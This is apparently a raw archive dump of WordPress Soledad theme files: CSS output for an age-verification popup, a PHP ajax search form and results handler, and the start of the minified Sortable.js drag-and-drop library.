		$popup_mw          = get_theme_mod( 'penci_agepopup_width_mobile' );
		$popup_w           = get_theme_mod( 'penci_agepopup_width_desktop' );
		$popup_cl          = get_theme_mod( 'penci_agepopup_txtcolor' );
		$popup_tsize       = get_theme_mod( 'penci_agepopup_txt_size' );
		$popup_tmsize      = get_theme_mod( 'penci_agepopup_txt_msize' );
		$popup_spacing     = get_theme_mod( 'penci_agepopup_spacing' );
		$popup_bordercolor = get_theme_mod( 'penci_agepopup_bordercolor' );

		echo '.penci-age-verify{';
		if ( $popup_bgimg ) {
			echo 'background-image:url("' . esc_url( $popup_bgimg ) . '");';
		}
		if ( $popup_bgcl ) {
			echo 'background-color:' . esc_attr( $popup_bgcl ) . ';';
		}
		if ( $popup_bgrepeat ) {
			echo 'background-repeat:' . esc_attr( $popup_bgrepeat ) . ';';
		}
		if ( $popup_bgposition ) {
			echo 'background-position:' . esc_attr( $popup_bgposition ) . ';';
		}
		if ( $popup_bgsize ) {
			echo 'background-size:' . esc_attr( $popup_bgsize ) . ';';
		}
		if ( $popup_bordercolor ) {
			echo 'border-color:' . esc_attr( $popup_bordercolor ) . ';';
			echo 'border-style: solid;';
		}
		if ( $popup_bgscroll ) {
			echo 'background-scroll:' . esc_attr( $popup_bgscroll ) . ';';
		}
		if ( $popup_w ) {
			echo 'max-width:' . esc_attr( $popup_w ) . 'px;';
		}
		if ( $popup_cl ) {
			echo 'color:' . esc_attr( $popup_cl ) . ';';
		}
		if ( $popup_tsize ) {
			echo 'font-size:' . esc_attr( $popup_tsize ) . 'px;';
		}
		if ( $popup_spacing ) {
			echo $this->penci_spacing_extract_data( $popup_spacing );
		}
		echo '}';

		echo '@media only screen and (max-width:767px){.penci-age-verify{';
		if ( $popup_tmsize ) {
			echo 'font-size:' . esc_attr( $popup_tmsize ) . 'px;';
		}
		if ( $popup_mw ) {
			echo 'max-width:' . esc_attr( $popup_mw ) . 'px;';
		}
		echo '}}';

		$btn_1_cl    = get_theme_mod( 'penci_agepopup_btn1_color' );
		$btn_1_hcl   = get_theme_mod( 'penci_agepopup_btn1_hcolor' );
		$btn_1_bgcl  = get_theme_mod( 'penci_agepopup_btn1_bgcolor' );
		$btn_1_hbgcl = get_theme_mod( 'penci_agepopup_btn1_hbgcolor' );

		echo '.penci-age-verify-buttons .button.penci-age-verify-allowed{';
		if ( $btn_1_cl ) {
			echo 'color:' . $btn_1_cl . ';';
		}
		if ( $btn_1_cl ) {
			echo 'background-color:' . $btn_1_bgcl . ';';
		}
		echo '}';

		echo '.penci-age-verify-buttons .button.penci-age-verify-allowed:hover{';
		if ( $btn_1_hcl ) {
			echo 'color:' . $btn_1_hcl . ';';
		}
		if ( $btn_1_hbgcl ) {
			echo 'background-color:' . $btn_1_hbgcl . ';';
		}
		echo '}';

		$btn_2_cl    = get_theme_mod( 'penci_agepopup_btn2_color' );
		$btn_2_hcl   = get_theme_mod( 'penci_agepopup_btn2_hcolor' );
		$btn_2_bgcl  = get_theme_mod( 'penci_agepopup_btn2_bgcolor' );
		$btn_2_hbgcl = get_theme_mod( 'penci_agepopup_btn2_hbgcolor' );

		echo '.penci-age-verify-buttons .button.penci-age-verify-forbidden{';
		if ( $btn_2_cl ) {
			echo 'color:' . $btn_2_cl . ';';
		}
		if ( $btn_2_cl ) {
			echo 'background-color:' . $btn_2_bgcl . ';';
		}
		echo '}';

		echo '.penci-age-verify-buttons .button.penci-age-verify-forbidden:hover{';
		if ( $btn_2_hcl ) {
			echo 'color:' . $btn_2_hcl . ';';
		}
		if ( $btn_2_hbgcl ) {
			echo 'background-color:' . $btn_2_hbgcl . ';';
		}
		echo '}';

	}

	public function penci_spacing_extract_data( $number = '', $out = '' ) {
		$mpb = explode( ',', $number );
		if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
			$out .= 'padding-top:' . esc_attr( $mpb[0] ) . 'px;';
		}
		if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
			$out .= 'padding-right:' . esc_attr( $mpb[1] ) . 'px;';
		}
		if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
			$out .= 'padding-bottom:' . esc_attr( $mpb[2] ) . 'px;';
		}
		if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
			$out .= 'padding-left:' . esc_attr( $mpb[3] ) . 'px;';
		}

		if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
			$out .= 'border-top-width:' . esc_attr( $mpb[4] ) . 'px;';
		}
		if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
			$out .= 'border-right-width:' . esc_attr( $mpb[5] ) . 'px;';
		}
		if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
			$out .= 'border-bottom-width:' . esc_attr( $mpb[6] ) . 'px;';
		}
		if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
			$out .= 'border-left-width:' . esc_attr( $mpb[7] ) . 'px;';
		}

		if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
			$out .= 'border-top-left-radius:' . esc_attr( $mpb[8] ) . 'px;';
		}
		if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
			$out .= 'border-top-right-radius:' . esc_attr( $mpb[9] ) . 'px;';
		}
		if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
			$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[10] ) . 'px;';
		}
		if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
			$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[11] ) . 'px;';
		}

		return $out;
	}

}

new PenciAgeVerify;
PK     0w\)  )    ajax-search.phpnu [        <?php
if ( ! function_exists( 'penci_ajax_search_assets' ) ) {
	add_action( 'wp_enqueue_scripts', 'penci_ajax_search_assets' );
	function penci_ajax_search_assets() {

		if ( ! get_theme_mod( 'penci_ajxs_enable' ) ) {
			return;
		}

		$is_enable_rest = get_theme_mod( 'penci_handle_ajax_with_rest_api' );

		wp_register_script( 'penci-autocomplete', PENCI_SOLEDAD_URL . '/js/jquery.autocomplete.min.js', '', PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-ajaxsearch', PENCI_SOLEDAD_URL . '/js/ajax-search.js', [
			'penci-autocomplete',
			'jquery'
		], PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-ajaxsearch', 'penci_ajsr', array(
			'ajaxUrl'    => $is_enable_rest ? esc_url( rest_url( 'penci/v1/penci_ajax_search' ) ) : admin_url( 'admin-ajax.php' ),
			'minchar'    => (int) get_theme_mod( 'penci_ajxs_character', 2 ),
			'maxitems'   => (int) get_theme_mod( 'penci_ajxs_count', get_option( 'posts_per_page' ) ),
			'citems'     => (boolean) get_theme_mod( 'penci_ajxs_count' ),
			'thumbnail'  => (bool) get_theme_mod( 'penci_ajxs_thumb', true ),
			'date'       => (bool) get_theme_mod( 'penci_ajxs_date', true ),
			'allresults' => penci_get_setting( 'penci_trans_allresult' ),
			'nonce'      => wp_create_nonce( 'penci_search_ajax_nonce' ),
		) );
	}
}
if ( ! function_exists( 'penci_search_form' ) ) {
	function penci_search_form( $args = array() ) {
		$args = wp_parse_args( $args, array(
			'ajax'                   => get_theme_mod( 'penci_ajxs_enable' ),
			'post_type'              => 'post',
			'show_categories'        => false,
			'type'                   => 'form',
			'thumbnail'              => true,
			'price'                  => true,
			'count'                  => get_option( 'posts_per_page' ),
			'icon_type'              => '',
			'search_style'           => '',
			'custom_icon'            => '',
			'el_classes'             => '',
			'innerclass'             => '',
			'innerclass_css'         => 'inner-hbg-search-form',
			'wrapper_custom_classes' => '',
		) );

		extract( $args );

		if ( $ajax ) {

			ob_start();

			$class             = '';
			$btn_classes       = '';
			$data              = '';
			$wrapper_classes   = '';
			$dropdowns_classes = '';

			if ( $show_categories && $post_type == 'product' ) {
				$class .= ' penci-with-cat has-categories-dropdown';
			}

			if ( $icon_type == 'custom' ) {
				$btn_classes .= ' penci-with-img penci-searchform-custom-icon';
			}

			if ( $search_style ) {
				$class .= ' search-style-' . $search_style;
			}

			$ajax_args = array(
				'thumbnail'     => $thumbnail,
				'price'         => $price,
				'post_type'     => $post_type,
				'count'         => $count,
				'sku'           => '1',
				'symbols_count' => 3,
			);

			if ( $ajax ) {
				$class .= ' penci-ajax-search';
				foreach ( $ajax_args as $key => $value ) {
					$data .= ' data-' . $key . '="' . $value . '"';
				}
			}

			$placeholder = penci_get_setting( 'penci_trans_type_and_hit' );

			switch ( $post_type ) {
				case 'product':
					$description = penci_get_setting( 'penci_trans_sepproduct_desc' );
					break;

				case 'portfolio':
					$description = penci_get_setting( 'penci_trans_sepproject_desc' );
					break;

				default:
					$description = penci_get_setting( 'penci_trans_seppost_desc' );
					break;
			}

			if ( $el_classes ) {
				$class .= ' ' . $el_classes;
			}

			if ( $wrapper_custom_classes ) {
				$wrapper_classes .= ' ' . $wrapper_custom_classes;
			}

			if ( 'dropdown' === $type ) {
				$wrapper_classes .= ' penci-dropdown';
			}

			if ( 'full-screen' === $type ) {
				$wrapper_classes .= ' penci-fill';
			} else {
				$dropdowns_classes .= ' penci-dropdown';
			}

			$wrapper_classes   .= ' penci-search-' . $type;
			$dropdowns_classes .= ' penci-search-results';

			$autocompleted = $ajax ? ' autocomplete="off"' : '';

			?>
            <div class="penci-search-<?php echo esc_attr( $type ); ?><?php echo esc_attr( $wrapper_classes ); ?>">
				<?php if ( $type == 'full-screen' ): ?>
                    <span class="penci-close-search penci-action-btn penci-style-icon penci-cross-icon"><a></a></span>
				<?php endif ?>
                <form<?php echo $autocompleted; ?> role="search" method="get"
                                                   class="pc-searchform searchform <?php echo esc_attr( $class ); ?>"
                                                   action="<?php echo esc_url( home_url( '/' ) ); ?>" <?php echo ! empty( $data ) ? $data : ''; ?>>

					<?php if ( $innerclass ) : ?>
                    <div class="<?php echo $args['innerclass_css']; ?>">
						<?php endif; ?>
                        <input type="text" class="s search-input" placeholder="<?php echo esc_attr( $placeholder ); ?>"
                               value="<?php echo get_search_query(); ?>" name="s"
                               aria-label="<?php echo penci_get_setting( 'penci_trans_search' ); ?>"
                               title="<?php echo esc_attr( $placeholder ); ?>"/>
						<?php
						if ( $icon_type == 'custom' ) {
							echo $custom_icon;
						}
						?>
                        <button type="submit" class="searchsubmit<?php echo esc_attr( $btn_classes ); ?>">
	                            <span>
								<?php echo penci_get_setting( 'penci_trans_search' ); ?>
							</span>
                        </button>
						<?php if ( $innerclass ) : ?>
                    </div>
				<?php endif; ?>

                </form>
				<?php if ( $type == 'full-screen' ): ?>
                    <div class="search-info-text"><span><?php echo esc_html( $description ); ?></span></div>
				<?php endif ?>
				<?php if ( $ajax ): ?>
                    <div class="search-results-wrapper">
                        <div class="penci-dropdown-results penci-scroll<?php echo esc_attr( $dropdowns_classes ); ?>">
                            <div class="penci-search-results-wrapper"></div>
                        </div>

						<?php if ( 'full-screen' === $type ) : ?>
                            <div class="penci-search-loader"></div>
						<?php endif; ?>
                    </div>
				<?php endif ?>
            </div>
			<?php

			echo apply_filters( 'get_search_form', ob_get_clean() );
			wp_enqueue_script( 'penci-ajaxsearch' );
		} else {
			if ( $args['wrapper_custom_classes'] ) {
				echo '<div class="' . esc_attr( $args['wrapper_custom_classes'] ) . '">';
			}
			?>
            <form role="search" method="get" class="pc-searchform"
                  action="<?php echo esc_url( home_url( '/' ) ); ?>">
                <div class="pc-searchform-inner">
                    <input type="text" class="search-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
                    <i class="penciicon-magnifiying-glass"></i>
                    <button type="submit"
                            class="searchsubmit"><?php echo penci_get_setting( 'penci_trans_search' ); ?></button>
                </div>
            </form>
			<?php
			if ( $args['wrapper_custom_classes'] ) {
				echo '</div>';
			}
		}
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Ajax search
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_ajax_suggestions' ) ) {
	function penci_ajax_suggestions() {

		check_ajax_referer( 'penci_search_ajax_nonce', 'nonce' );
		echo json_encode( penci_ajax_search_results( $_REQUEST ) );
		die();
	}

	add_action( 'wp_ajax_penci_ajax_search', 'penci_ajax_suggestions', 10 );
	add_action( 'wp_ajax_nopriv_penci_ajax_search', 'penci_ajax_suggestions', 10 );
}
if ( ! function_exists( 'penci_ajax_search_results' ) ) {
	function penci_ajax_search_results( $requests ) {
		$post_types    = get_post_types(
			array(
				'public'            => true,
				'show_in_nav_menus' => true,
			),
			'names'
		);
		$array_include = array();
		foreach ( $post_types as $key => $val ) {
			$array_include[] = $key;
		}
		$exclude = array(
			'web-story',
			'e-landing-page',
			'penci-block',
			'penci_builder',
			'archive-template',
			'custom-post-template',
		);

		if ( ! get_theme_mod( 'penci_include_search_page' ) ) {
			$exclude[] = 'page';
		}

		$array_include = array_diff( $array_include, $exclude );


		$query_args = array(
			'posts_per_page' => 5,
			'post_status'    => 'publish',
			'post_type'      => $array_include,
			'no_found_rows'  => 1,
		);


		if ( ! empty( $requests['query'] ) ) {
			$query_args['s'] = sanitize_text_field( $requests['query'] );
		}

		if ( ! empty( $requests['number'] ) ) {
			$query_args['posts_per_page'] = (int) $requests['number'];
		}

		$results = new WP_Query( apply_filters( 'penci_ajax_search_args', $query_args ) );


		$suggestions = array();

		if ( $results->have_posts() ) {

			while ( $results->have_posts() ) {
				$results->the_post();

				$post_format_icon = '';
				$post_format      = get_post_format();
				switch ( $post_format ) {
					case "video":
						$post_format_icon = penci_icon_by_ver( 'fas fa-play', '' );
						break;
					case "audio":
						$post_format_icon = penci_icon_by_ver( 'fas fa-music', '' );
						break;
					case "link":
						$post_format_icon = penci_icon_by_ver( 'fas fa-link', '' );
						break;
					case "quote":
						$post_format_icon = penci_icon_by_ver( 'fas fa-quote-left', '' );
						break;
					case "gallery":
						$post_format_icon = penci_icon_by_ver( 'far fa-image', '' );
						break;
				}

				$post_format_icon = get_theme_mod( 'penci_ajxs_fmat_icon' ) ? $post_format_icon : '';

				$thumb_img     = has_post_thumbnail() ? get_the_post_thumbnail_url( get_the_ID(), 'thumbnail' ) : PENCI_SOLEDAD_URL . '/images/no-thumb.jpg';
				$suggestions[] = array(
					'value'     => html_entity_decode( wp_trim_words( get_the_title(), get_theme_mod( 'penci_ajxs_title_words', 8 ) ) ),
					'title'     => html_entity_decode( wp_strip_all_tags( get_the_title() ) ),
					'permalink' => get_the_permalink(),
					'date'      => get_the_date(),
					'thumbnail' => '<a ' . penci_layout_bg( $thumb_img ) . ' class="penci-image-holder ' . penci_layout_bg_class() . '">' . penci_layout_img( $thumb_img ) . $post_format_icon . '</a>',
				);

			}

			wp_reset_postdata();
		} else {
			$suggestions[] = array(
				'value'     => penci_get_setting( 'penci_trans_npostfound' ),
				'no_found'  => true,
				'permalink' => ''
			);
		}

		return array(
			'suggestions' => $suggestions,
			'allsearch'   => get_search_link( sanitize_text_field( $requests['query'] ) ),
		);
	}
}PK     0w\noh  h    dashboard/js/Sortable.min.jsnu [        /*! Sortable 1.15.0 - MIT | git://github.com/SortableJS/Sortable.git */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sortable=e()}(this,function(){"use strict";function e(e,t){var n,o=Object.keys(e);return Object.getOwnPropertySymbols&&(n=Object.getOwnPropertySymbols(e),t&&(n=n.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),o.push.apply(o,n)),o}function M(o){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{};t%2?e(Object(i),!0).forEach(function(t){var e,n;e=o,t=i[n=t],n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t}):Object.getOwnPropertyDescriptors?Object.defineProperties(o,Object.getOwnPropertyDescriptors(i)):e(Object(i)).forEach(function(t){Object.defineProperty(o,t,Object.getOwnPropertyDescriptor(i,t))})}return o}function o(t){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(){return(a=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n,o=arguments[e];for(n in o)Object.prototype.hasOwnProperty.call(o,n)&&(t[n]=o[n])}return t}).apply(this,arguments)}function i(t,e){if(null==t)return{};var n,o=function(t,e){if(null==t)return{};for(var n,o={},i=Object.keys(t),r=0;r<i.length;r++)n=i[r],0<=e.indexOf(n)||(o[n]=t[n]);return o}(t,e);if(Object.getOwnPropertySymbols)for(var i=Object.getOwnPropertySymbols(t),r=0;r<i.length;r++)n=i[r],0<=e.indexOf(n)||Object.prototype.propertyIsEnumerable.call(t,n)&&(o[n]=t[n]);return o}function r(t){return function(t){if(Array.isArray(t))return l(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function(t,e){if(t){if("string"==typeof t)return l(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Map"===(n="Object"===n&&t.constructor?t.constructor.name:n)||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?l(t,e):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function l(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,o=new Array(e);n<e;n++)o[n]=t[n];return o}function t(t){if("undefined"!=typeof window&&window.navigator)return!!navigator.userAgent.match(t)}var y=t(/(?:Trident.*rv[ :]?11\.|msie|iemobile|Windows Phone)/i),w=t(/Edge/i),s=t(/firefox/i),u=t(/safari/i)&&!t(/chrome/i)&&!t(/android/i),n=t(/iP(ad|od|hone)/i),c=t(/chrome/i)&&t(/android/i),d={capture:!1,passive:!1};function h(t,e,n){t.addEventListener(e,n,!y&&d)}function f(t,e,n){t.removeEventListener(e,n,!y&&d)}function p(t,e){if(e&&(">"===e[0]&&(e=e.substring(1)),t))try{if(t.matches)return t.matches(e);if(t.msMatchesSelector)return t.msMatchesSelector(e);if(t.webkitMatchesSelector)return t.webkitMatchesSelector(e)}catch(t){return}}function N(t,e,n,o){if(t){n=n||document;do{if(null!=e&&(">"!==e[0]||t.parentNode===n)&&p(t,e)||o&&t===n)return t}while(t!==n&&(t=(i=t).host&&i!==document&&i.host.nodeType?i.host:i.parentNode))}var i;return null}var g,m=/\s+/g;function I(t,e,n){var o;t&&e&&(t.classList?t.classList[n?"add":"remove"](e):(o=(" "+t.className+" ").replace(m," ").replace(" "+e+" "," "),t.className=(o+(n?" "+e:"")).replace(m," ")))}function P(t,e,n){var o=t&&t.style;if(o){if(void 0===n)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(t,""):t.currentStyle&&(n=t.currentStyle),void 0===e?n:n[e];o[e=!(e in o||-1!==e.indexOf("webkit"))?"-webkit-"+e:e]=n+("string"==typeof n?"":"px")}}function v(t,e){var n="";if("string"==typeof t)n=t;else do{var o=P(t,"transform")}while(o&&"none"!==o&&(n=o+" "+n),!e&&(t=t.parentNode));var i=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return i&&new i(n)}function b(t,e,n){if(t){var o=t.getElementsByTagName(e),i=0,r=o.length;if(n)for(;i<r;i++)n(o[i],i);return o}return[]}function O(){var t=document.scrollingElement;return t||document.documentElement}function k(t,e,n,o,i){if(t.getBoundingClientRect||t===window){var r,a,l,s,c,u,d=t!==window&&t.parentNode&&t!==O()?(a=(r=t.getBoundingClientRect()).top,l=r.left,s=r.bottom,c=r.right,u=r.height,r.width):(l=a=0,s=window.innerHeight,c=window.innerWidth,u=window.innerHeight,window.innerWidth);if((e||n)&&t!==window&&(i=i||t.parentNode,!y))do{if(i&&i.getBoundingClientRect&&("none"!==P(i,"transform")||n&&"static"!==P(i,"position"))){var h=i.getBoundingClientRect();a-=h.top+parseInt(P(i,"border-top-width")),l-=h.left+parseInt(P(i,"border-left-width")),s=a+r.height,c=l+r.width;break}}while(i=i.parentNode);return o&&t!==window&&(o=(e=v(i||t))&&e.a,t=e&&e.d,e&&(s=(a/=t)+(u/=t),c=(l/=o)+(d/=o))),{top:a,left:l,bottom:s,right:c,width:d,height:u}}}function R(t,e,n){for(var o=A(t,!0),i=k(t)[e];o;){var r=k(o)[n];if(!("top"===n||"left"===n?r<=i:i<=r))return o;if(o===O())break;o=A(o,!1)}return!1}function X(t,e,n,o){for(var i=0,r=0,a=t.children;r<a.length;){if("none"!==a[r].style.display&&a[r]!==Bt.ghost&&(o||a[r]!==Bt.dragged)&&N(a[r],n.draggable,t,!1)){if(i===e)return a[r];i++}r++}return null}function Y(t,e){for(var n=t.lastElementChild;n&&(n===Bt.ghost||"none"===P(n,"display")||e&&!p(n,e));)n=n.previousElementSibling;return n||null}function B(t,e){var n=0;if(!t||!t.parentNode)return-1;for(;t=t.previousElementSibling;)"TEMPLATE"===t.nodeName.toUpperCase()||t===Bt.clone||e&&!p(t,e)||n++;return n}function E(t){var e=0,n=0,o=O();if(t)do{var i=v(t),r=i.a,i=i.d}while(e+=t.scrollLeft*r,n+=t.scrollTop*i,t!==o&&(t=t.parentNode));return[e,n]}function A(t,e){if(!t||!t.getBoundingClientRect)return O();var n=t,o=!1;do{if(n.clientWidth<n.scrollWidth||n.clientHeight<n.scrollHeight){var i=P(n);if(n.clientWidth<n.scrollWidth&&("auto"==i.overflowX||"scroll"==i.overflowX)||n.clientHeight<n.scrollHeight&&("auto"==i.overflowY||"scroll"==i.overflowY)){if(!n.getBoundingClientRect||n===document.body)return O();if(o||e)return n;o=!0}}}while(n=n.parentNode);return O()}function D(t,e){return Math.round(t.top)===Math.round(e.top)&&Math.round(t.left)===Math.round(e.left)&&Math.round(t.height)===Math.round(e.height)&&Math.round(t.width)===Math.round(e.width)}function S(e,n){return function(){var t;g||(1===(t=arguments).length?e.call(this,t[0]):e.apply(this,t),g=setTimeout(function(){g=void 0},n))}}function F(t,e,n){t.scrollLeft+=e,t.scrollTop+=n}function _(t){var e=window.Polymer,n=window.jQuery||window.Zepto;return e&&e.dom?e.dom(t).cloneNode(!0):n?n(t).clone(!0)[0]:t.cloneNode(!0)}function C(t,e){P(t,"position","absolute"),P(t,"top",e.top),P(t,"left",e.left),P(t,"width",e.width),P(t,"height",e.height)}function T(t){P(t,"position",""),P(t,"top",""),P(t,"left",""),P(t,"width",""),P(t,"height","")}var j="Sortable"+(new Date).getTime();function x(){var e,o=[];return{captureAnimationState:function(){o=[],this.options.animation&&[].slice.call(this.el.children).forEach(function(t){var e,n;"none"!==P(t,"display")&&t!==Bt.ghost&&(o.push({target:t,rect:k(t)}),e=M({},o[o.length-1].rect),!t.thisAnimationDuration||(n=v(t,!0))&&(e.top-=n.f,e.left-=n.e),t.fromRect=e)})},addAnimationState:function(t){o.push(t)},removeAnimationState:function(t){o.splice(function(t,e){for(var n in t)if(t.hasOwnProperty(n))for(var o in e)if(e.hasOwnProperty(o)&&e[o]===t[n][o])return Number(n);return-1}(o,{target:t}),1)},animateAll:function(t){var c=this;if(!this.options.animation)return clearTimeout(e),void("function"==typeof t&&t());var u=!1,d=0;o.forEach(function(t){var e=0,n=t.target,o=n.fromRect,i=k(n),r=n.prevFromRect,a=n.prevToRect,l=t.rect,s=v(n,!0);s&&(i.top-=s.f,i.left-=s.e),n.toRect=i,n.thisAnimationDuration&&D(r,i)&&!D(o,i)&&(l.top-i.top)/(l.left-i.left)==(o.top-i.top)/(o.left-i.left)&&(t=l,s=r,r=a,a=c.options,e=Math.sqrt(Math.pow(s.top-t.top,2)+Math.pow(s.left-t.left,2))/Math.sqrt(Math.pow(s.top-r.top,2)+Math.pow(s.left-r.left,2))*a.animation),D(i,o)||(n.prevFromRect=o,n.prevToRect=i,e=e||c.options.animation,c.animate(n,l,i,e)),e&&(u=!0,d=Math.max(d,e),clearTimeout(n.animationResetTimer),n.animationResetTimer=setTimeout(function(){n.animationTime=0,n.prevFromRect=null,n.fromRect=null,n.prevToRect=null,n.thisAnimationDuration=null},e),n.thisAnimationDuration=e)}),clearTimeout(e),u?e=setTimeout(function(){"function"==typeof t&&t()},d):"function"==typeof t&&t(),o=[]},animate:function(t,e,n,o){var i,r;o&&(P(t,"transition",""),P(t,"transform",""),i=(r=v(this.el))&&r.a,r=r&&r.d,i=(e.left-n.left)/(i||1),r=(e.top-n.top)/(r||1),t.animatingX=!!i,t.animatingY=!!r,P(t,"transform","translate3d("+i+"px,"+r+"px,0)"),this.forRepaintDummy=t.offsetWidth,P(t,"transition","transform "+o+"ms"+(this.options.easing?" "+this.options.easing:"")),P(t,"transform","translate3d(0,0,0)"),"number"==typeof t.animated&&clearTimeout(t.animated),t.animated=setTimeout(function(){P(t,"transition",""),P(t,"transform",""),t.animated=!1,t.animatingX=!1,t.animatingY=!1},o))}}}var H=[],L={initializeByDefault:!0},K={mount:function(e){for(var t in L)!L.hasOwnProperty(t)||t in e||(e[t]=L[t]);H.forEach(function(t){if(t.pluginName===e.pluginName)throw"Sortable: Cannot mount plugin ".concat(e.pluginName," more than once")}),H.push(e)},pluginEvent:function(e,n,o){var t=this;this.eventCanceled=!1,o.cancel=function(){t.eventCanceled=!0};var i=e+"Global";H.forEach(function(t){n[t.pluginName]&&(n[t.pluginName][i]&&n[t.pluginName][i](M({sortable:n},o)),n.options[t.pluginName]&&n[t.pluginName][e]&&n[t.pluginName][e](M({sortable:n},o)))})},initializePlugins:function(n,o,i,t){for(var e in H.forEach(function(t){var e=t.pluginName;(n.options[e]||t.initializeByDefault)&&((t=new t(n,o,n.options)).sortable=n,t.options=n.options,n[e]=t,a(i,t.defaults))}),n.options){var r;n.options.hasOwnProperty(e)&&(void 0!==(r=this.modifyOption(n,e,n.options[e]))&&(n.options[e]=r))}},getEventProperties:function(e,n){var o={};return H.forEach(function(t){"function"==typeof t.eventProperties&&a(o,t.eventProperties.call(n[t.pluginName],e))}),o},modifyOption:function(e,n,o){var i;return H.forEach(function(t){e[t.pluginName]&&t.optionListeners&&"function"==typeof t.optionListeners[n]&&(i=t.optionListeners[n].call(e[t.pluginName],o))}),i}};function W(t){var e=t.sortable,n=t.rootEl,o=t.name,i=t.targetEl,r=t.cloneEl,a=t.toEl,l=t.fromEl,s=t.oldIndex,c=t.newIndex,u=t.oldDraggableIndex,d=t.newDraggableIndex,h=t.originalEvent,f=t.putSortable,p=t.extraEventProperties;if(e=e||n&&n[j]){var g,m=e.options,t="on"+o.charAt(0).toUpperCase()+o.substr(1);!window.CustomEvent||y||w?(g=document.createEvent("Event")).initEvent(o,!0,!0):g=new CustomEvent(o,{bubbles:!0,cancelable:!0}),g.to=a||n,g.from=l||n,g.item=i||n,g.clone=r,g.oldIndex=s,g.newIndex=c,g.oldDraggableIndex=u,g.newDraggableIndex=d,g.originalEvent=h,g.pullMode=f?f.lastPutMode:void 0;var v,b=M(M({},p),K.getEventProperties(o,e));for(v in b)g[v]=b[v];n&&n.dispatchEvent(g),m[t]&&m[t].call(e,g)}}function z(t,e){var n=(o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{}).evt,o=i(o,G);K.pluginEvent.bind(Bt)(t,e,M({dragEl:q,parentEl:V,ghostEl:Z,rootEl:$,nextEl:Q,lastDownEl:J,cloneEl:tt,cloneHidden:et,dragStarted:pt,putSortable:lt,activeSortable:Bt.active,originalEvent:n,oldIndex:nt,oldDraggableIndex:it,newIndex:ot,newDraggableIndex:rt,hideGhostForTarget:kt,unhideGhostForTarget:Rt,cloneNowHidden:function(){et=!0},cloneNowShown:function(){et=!1},dispatchSortableEvent:function(t){U({sortable:e,name:t,originalEvent:n})}},o))}var G=["evt"];function U(t){W(M({putSortable:lt,cloneEl:tt,targetEl:q,rootEl:$,oldIndex:nt,oldDraggableIndex:it,newIndex:ot,newDraggableIndex:rt},t))}var q,V,Z,$,Q,J,tt,et,nt,ot,it,rt,at,lt,st,ct,ut,dt,ht,ft,pt,gt,mt,vt,bt,yt=!1,wt=!1,Et=[],Dt=!1,St=!1,_t=[],Ct=!1,Tt=[],xt="undefined"!=typeof document,Ot=n,At=w||y?"cssFloat":"float",Mt=xt&&!c&&!n&&"draggable"in document.createElement("div"),Nt=function(){if(xt){if(y)return!1;var t=document.createElement("x");return t.style.cssText="pointer-events:auto","auto"===t.style.pointerEvents}}(),It=function(t,e){var n=P(t),o=parseInt(n.width)-parseInt(n.paddingLeft)-parseInt(n.paddingRight)-parseInt(n.borderLeftWidth)-parseInt(n.borderRightWidth),i=X(t,0,e),r=X(t,1,e),a=i&&P(i),l=r&&P(r),s=a&&parseInt(a.marginLeft)+parseInt(a.marginRight)+k(i).width,t=l&&parseInt(l.marginLeft)+parseInt(l.marginRight)+k(r).width;if("flex"===n.display)return"column"===n.flexDirection||"column-reverse"===n.flexDirection?"vertical":"horizontal";if("grid"===n.display)return n.gridTemplateColumns.split(" ").length<=1?"vertical":"horizontal";if(i&&a.float&&"none"!==a.float){e="left"===a.float?"left":"right";return!r||"both"!==l.clear&&l.clear!==e?"horizontal":"vertical"}return i&&("block"===a.display||"flex"===a.display||"table"===a.display||"grid"===a.display||o<=s&&"none"===n[At]||r&&"none"===n[At]&&o<s+t)?"vertical":"horizontal"},Pt=function(t){function l(r,a){return function(t,e,n,o){var i=t.options.group.name&&e.options.group.name&&t.options.group.name===e.options.group.name;if(null==r&&(a||i))return!0;if(null==r||!1===r)return!1;if(a&&"clone"===r)return r;if("function"==typeof r)return l(r(t,e,n,o),a)(t,e,n,o);e=(a?t:e).options.group.name;return!0===r||"string"==typeof 